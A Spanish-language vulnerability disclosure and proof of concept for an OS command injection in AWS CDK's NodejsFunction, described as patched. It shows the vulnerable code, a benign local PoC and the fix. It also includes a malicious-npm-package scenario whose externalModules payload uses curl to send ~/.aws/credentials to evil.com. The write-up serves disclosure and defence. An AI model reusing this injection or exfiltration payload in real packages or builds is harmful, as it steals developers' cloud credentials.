Informe técnico y Prueba de Concepto (PoC) para CVE-2026-11417: Inyección de Comandos del SO / Ejecución Remota de Código (RCE) en el NodejsFunction de AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Fecha: 10 de junio de 2026
Gravedad: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del SO (Inyección de Comandos del SO)
Paquete afectado: aws-cdk-lib (npm), todas las versiones anteriores a 2.245.0
Vendedor: Amazon Web Services (AWS)
Estado: Parcheado (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletín: AWS-2026-041 | Aviso: GHSA-999r-qq7v-r334
Descubrí una vulnerabilidad de inyección de comandos en el AWS Cloud Development Kit (CDK) que permitía a un atacante lograr Ejecución Remota de Código (RCE) en cualquier máquina que ejecutara cdk synth — incluyendo estaciones de trabajo de desarrolladores y tuberías CI/CD — publicando un paquete npm malicioso o enviando una Solicitud de Extracción (Pull Request) manipulada.
La vulnerabilidad existía porque el constructo NodejsFunction de aws-cdk-lib interpolaba cadenas controladas por el usuario directamente en un comando del shell sin saneamiento, ejecutándolo luego mediante bash -c / cmd /c. AWS parcheó el problema reemplazando la ejecución basada en shell con arrays de argumentos directos de spawnSync.
El AWS Cloud Development Kit (CDK) es un framework de código abierto ampliamente utilizado para definir infraestructura en la nube como código. Lo emplean decenas de miles de desarrolladores y tuberías CI/CD para sintetizar y desplegar stacks de AWS CloudFormation.
El constructo NodejsFunction es uno de los constructos L2 más populares del CDK. Agrupa funciones Lambda TypeScript/JavaScript usando esbuild durante la fase de síntesis (cdk synth).
El constructo NodejsFunction construía una cadena de comando del shell al interpolar directamente varias propiedades controladas por el usuario sin ningún saneamiento:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // SIN ESCAPADO
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // SIN ESCAPADO
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key SIN ESCAPADO
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // SIN ESCAPADO
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // SIN ESCAPADO
];
El array se unía luego en una sola cadena y se pasaba a un shell:
// El comando unido se pasa directamente al shell del SO
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Los metacaracteres del shell como &, ;, |, `, y $(...) dentro de cualquiera de las propiedades inyectables serían interpretados por el shell como separadores de comandos, permitiendo la ejecución arbitraria de comandos.
| Propiedad | Saneamiento | Nivel de Riesgo |
|---|---|---|
externalModules | Ninguno | Crítico |
define (claves) | Ninguno (los valores usan JSON.stringify) | Crítico |
loader (claves) | Ninguno | Crítico |
inject | Ninguno | Crítico |
esbuildArgs (claves/valores) | Ninguno | Crítico |
Esta vulnerabilidad es particularmente peligrosa porque la inyección ocurre en la capa de síntesis del CDK, no durante npm install. Esto significa que las medidas de seguridad estándar de npm como --ignore-scripts no brindan protección.
Un atacante publica un paquete npm de apariencia legítima que envuelve a NodejsFunction:
// Publicado como "convenient-lambda" en npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Carga útil oculta entre externos de apariencia legítima
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Cuando un desarrollador instala este paquete y ejecuta cdk synth, el CDK construye:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
El carácter & divide esto en dos comandos de shell independientes:
npx esbuild --bundle handler.ts --external:lodash — esbuild se ejecuta normalmentecurl https://evil.com/... — la carga útil del atacante extrae las credenciales de AWS| Defensa | ¿Efectiva? | Por Qué |
|---|---|---|
npm install --ignore-scripts | No | La inyección ocurre durante cdk synth, no en la instalación del paquete |
Revisión de código de package.json | No | La carga útil está en el código TypeScript del constructo, no en scripts |
| npm audit | No | El paquete no contiene vulnerabilidades conocidas |
| Integridad del lockfile | No | El paquete en sí se instala correctamente |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts con la carga útil de inyecciónimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Salida: PWNED
El archivo pwned.txt se crea, confirmando la ejecución arbitraria de comandos en la máquina anfitriona.
spawnSync basado en arraysLa corrección principal reemplaza la construcción de cadenas de comandos del shell con spawnSync directo usando arrays de argumentos:
- // Antes: cadena de comando interpretada por el shell
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // Después: array de argumentos directo (sin interpretación del shell)
+ spawnSync(command, args, { /* no shell */ });